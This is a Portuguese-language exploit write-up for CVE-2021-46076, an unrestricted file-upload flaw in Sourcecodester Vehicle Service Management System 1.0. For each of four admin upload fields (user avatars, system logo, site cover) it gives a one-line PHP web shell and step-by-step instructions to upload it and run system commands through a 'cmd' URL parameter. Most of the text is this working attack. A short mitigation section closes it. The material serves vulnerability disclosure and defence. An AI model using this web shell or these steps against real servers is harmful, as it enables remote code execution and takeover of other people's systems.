CVE-2021-46076
Título do Exploit: Vehicle Service Management System - 'Multiple' upload de arquivos leva à Execução de Código
Autor do Exploit: SANU P.L
CVE: CVE-2021-46076
CVSS: 8.8 ALTO
Referências:
Descrição:
Sourcecodester Vehicle Service Management System 1.0 é vulnerável a upload de arquivos. Um atacante pode enviar um arquivo php malicioso em vários endpoints, o que leva à Execução de Código.
1. Vehicle Service Management System - 'Minha Conta' (/admin/?page=user)
Exploit:
- Entre no painel de administração http://localhost/vehicle_service/admin
- Navegue até a seção Minha Conta http://localhost/vehicle_service/admin/?page=user
Payload:
<?php system($_GET['cmd']);?>
- Salve o código php acima como, por exemplo: Cmd.php
- Na seção Minha Conta, preencha todos os dados necessários e selecione o arquivo php em Avatar.
- Clique no botão Update.
- Abra a imagem do avatar em uma nova aba.
- Adicione o parâmetro cmd na URL e execute os comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Execute todos os comandos do sistema, por exemplo: id, whoami, pwd etc..
2. Vehicle Service Management System - 'Lista de Usuários' (/admin/?page=user/manage_user)
Exploit:
- Entre no painel de administração http://localhost/vehicle_service/admin
- Navegue até a seção Lista de Usuários e clique no botão Create New.
Payload:
<?php system($_GET['cmd']);?>
- Salve o código php acima como, por exemplo: Cmd.php
- Na página Criar Novo Usuário, preencha todos os dados necessários e selecione o arquivo php em Avatar.
- Clique no botão Save.
- Abra a imagem do avatar em uma nova aba.
- Adicione o parâmetro cmd na URL e execute os comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Execute todos os comandos do sistema, por exemplo: id, whoami, pwd etc..
3. Vehicle Service Management System - 'Configurações - Logo do Sistema' (/admin/?page=system_info)
Exploit:
- Entre no painel de administração http://localhost/vehicle_service/admin
- Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Salve o código php acima como, por exemplo: Cmd.php
- Na seção Configurações, preencha todos os dados necessários e selecione o arquivo php em Logo do Sistema.
- Clique no botão Update.
- Abra a imagem do Logo do Sistema em uma nova aba.
- Adicione o parâmetro cmd na URL e execute os comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Execute todos os comandos do sistema, por exemplo: id, whoami, pwd etc..
4. Vehicle Service Management System - 'Configurações - Capa do Site' (/admin/?page=system_info)
Exploit:
- Entre no painel de administração http://localhost/vehicle_service/admin
- Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Salve o código php acima como, por exemplo: Cmd.php
- Na seção Configurações, preencha todos os dados necessários e selecione o arquivo php em Capa do Site.
- Clique no botão Update.
- Abra a imagem da Capa do Site em uma nova aba.
- Adicione o parâmetro cmd na URL e execute os comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Execute todos os comandos do sistema, por exemplo: id, whoami, pwd etc..
Impacto:
Um atacante pode enviar um arquivo php malicioso em vários endpoints, o que leva à Execução de Código.
Mitigação:
Recomenda-se implementar o seguinte:
- Nunca aceite um nome de arquivo e sua extensão diretamente sem um filtro de lista branca.
- Se não houver necessidade de caracteres Unicode, é altamente recomendável aceitar apenas caracteres alfanuméricos e apenas um ponto como entrada para o nome do arquivo e a extensão.
- Limite o tamanho do arquivo a um valor máximo para evitar ataques de negação de serviço.
- O diretório de upload não deve ter permissão de "execução".
- Não dependa apenas da validação no lado do cliente.